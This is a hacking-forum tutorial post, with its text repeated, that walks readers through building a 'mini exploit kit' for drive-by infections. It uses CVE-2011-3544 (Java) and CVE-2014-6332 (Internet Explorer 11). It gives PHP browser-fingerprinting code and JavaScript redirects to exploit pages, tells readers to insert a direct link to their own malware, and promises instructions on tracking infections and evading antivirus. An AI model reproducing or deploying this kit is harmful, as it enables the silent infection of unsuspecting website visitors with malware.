Hey everyone, Im going to teach you all how to make your own little exploit kit!
Things you need:
- Basic php hosting
- Basic php/html knowlage
- Basic exploit kit understanding
Keep in mind, this is an example. These exploits provided only work on internet explorer 11, and people with java 6-7.
This "mini" exploit kit will be using the following CVE's:
CVE-2011-3544 (Java drive by)
CVE-2014-6332 (IE 11 exploit *props to bull for leaking it*)
you can download these exploits in the downloads section at the bottom of this thread:)
To get started, you're going to want to make your index.php.. It should look something like this. All the index.php does is detect the browser, and if its internet explorer, it redirects them to load.php, and if its not internet explorer, it gives them an error (feel free to change the error message)
After making the index.php, were going to want to make a php file called load.php. This file detects if it has java installed, and if they do then it delivers the exploit to them. And if it has ie 11 installed, it delivers that exploit.
So now we have our main files. Now were going to make a folder called "exploits" inside this folder you will make 2 more folders, one named "java", and another named "ie".. As you can probably already tell, you are going to want to but the java exploit into the "java" folder, and the ie exploit into the "ie" folder.
Now that you got the exploits, look at index.html in the java exploit and replace "google.com" with your DIRECT link to your malware!
For the ie exploit, do the same, but it might be a tad harder to find the "google.com" (hint: near the top)
You should be all set. Feel free to change around some code to suit it to your liking, and maybe add some exploits.
Feel free to pm me with any questions or problems. or just post a reply and ill get back to you 🎉🤝
IF WE CAN GET 30 REPLYS, ILL UPDATE IT SHOWING HOW TO TRACK TRAFFIC, AND LOADS, AND HOW TO FUD IT!
Downloads:
Source .zip
Spoiler (Click to View)
java/ie exploit
Spoiler (Click to View)
Things you need:
- Basic php hosting
- Basic php/html knowlage
- Basic exploit kit understanding
Keep in mind, this is an example. These exploits provided only work on internet explorer 11, and people with java 6-7.
This "mini" exploit kit will be using the following CVE's:
CVE-2011-3544 (Java drive by)
CVE-2014-6332 (IE 11 exploit *props to bull for leaking it*)
you can download these exploits in the downloads section at the bottom of this thread:)
To get started, you're going to want to make your index.php.. It should look something like this. All the index.php does is detect the browser, and if its internet explorer, it redirects them to load.php, and if its not internet explorer, it gives them an error (feel free to change the error message)
Code
<?php
// Mini exploit kit made by Nulled_ @ hf
// Index.php
// DETECT BROWSER
$browser = $_SERVER['HTTP_USER_AGENT'];
$chrome = '/Chrome/';
$firefox = '/Firefox/';
$ie = '/MSIE/';
if (preg_match($chrome, $browser)) {
echo "Unable to load page! Try using Internet Explorer instead of Chrome"; //throw error because user isnt using ie
}
if (preg_match($firefox, $browser)) {
echo "Unable to load page! Try using Internet Explorer instead of FireFox"; //throw error because user isnt using ie
}
if (preg_match($ie, $browser)) {
header("Location: load.php"); // direct to load.php
exit();
}
?>After making the index.php, were going to want to make a php file called load.php. This file detects if it has java installed, and if they do then it delivers the exploit to them. And if it has ie 11 installed, it delivers that exploit.
Code
<?php
?>
<html>
<body>
<script type="text/javascript">
[b]<!--[/b]//
self.location.href = "exploits/java/index.html";
//-->
</script>
<noscript>
<script type="text/javascript">
[b]<!--[/b]//
self.location.href = "exploits/ie/index.html";
//-->
</script>
</noscript>
</body>
</html>So now we have our main files. Now were going to make a folder called "exploits" inside this folder you will make 2 more folders, one named "java", and another named "ie".. As you can probably already tell, you are going to want to but the java exploit into the "java" folder, and the ie exploit into the "ie" folder.
Now that you got the exploits, look at index.html in the java exploit and replace "google.com" with your DIRECT link to your malware!
For the ie exploit, do the same, but it might be a tad harder to find the "google.com" (hint: near the top)
You should be all set. Feel free to change around some code to suit it to your liking, and maybe add some exploits.
Feel free to pm me with any questions or problems. or just post a reply and ill get back to you 🎉🤝
IF WE CAN GET 30 REPLYS, ILL UPDATE IT SHOWING HOW TO TRACK TRAFFIC, AND LOADS, AND HOW TO FUD IT!
Downloads:
Source .zip
Spoiler (Click to View)
java/ie exploit
Spoiler (Click to View)
![[Image: 92316]](https://www.hackthebox.eu/badge/image/92316){kind=icon}